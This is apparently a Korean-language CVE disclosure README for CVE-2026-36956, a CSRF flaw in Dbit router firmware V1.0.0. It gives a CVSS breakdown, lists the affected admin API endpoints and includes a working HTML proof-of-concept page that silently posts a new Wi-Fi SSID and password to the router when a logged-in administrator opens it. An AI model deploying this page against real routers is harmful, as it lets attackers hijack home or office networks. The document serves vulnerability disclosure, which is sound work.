kirubel-cve/cve-2026-36956# CVE-2026-36956 개념 증명, Dbit 라우터 펌웨어의 CSRF 취약점으로 위조된 요청을 통한 무단 구성 변경 허용
CVE ID: CVE-2026-36956 날짜: 2026-04-29 발견자: Kirubel Solomne 공급업체: Shenzhen Dibit Network Equipment Co., Ltd. 제품: Dbit Router 펌웨어 버전: V1.0.0 CWE: CWE-352 - 사이트 간 요청 위조(CSRF)
Dbit Router 펌웨어 V1.0.0은 관리 API 엔드포인트에 대해 CSRF 방지 토큰 또는 엄격한 Origin/Referer 검증과 같은 CSRF 보호 메커니즘을 구현하지 않습니다. 공격자는 구성 엔드포인트에 위조된 HTTP 요청을 보내는 악성 웹페이지를 제작할 수 있습니다. 인증된 관리자가 해당 악성 페이지를 방문하면 라우터는 위조된 요청을 합법적인 관리 작업으로 처리합니다.
CVSS v3.1 점수: 8.8 (높음)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
| 지표 | 값 |
|---|
| 공격 경로 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 필요 |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 높음 |
| 가용성 영향 | 높음 |
| 엔드포인트 | 기능 |
|---|---|
/api/setWlan | 무선 네트워크 구성(SSID, 비밀번호) |
/api/setWan | WAN 구성 |
/api/setSystem | 시스템 구성 |
다음을 poc.html로 저장하고 관리자가 라우터에 로그인한 상태에서 열어보십시오:
<!DOCTYPE html>
<html>
<body>
<script>
fetch('http://192.168.10.1/api/setWlan', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
ssid: "Hacked_Network",
password: "attacker123"
})
});
</script>
</body>
</html>
예상 동작: CSRF 토큰 불일치로 인해 요청이 거부되어야 합니다. 실제 동작: 라우터가 위조된 요청을 수락하고 처리합니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-04-29 | 취약점 발견 |
| 2026-04-29 | MITRE에 보고 |
| 2026-04-29 | CVE-2026-36956 배정 |
| 2026-04-29 | 공개 공개 |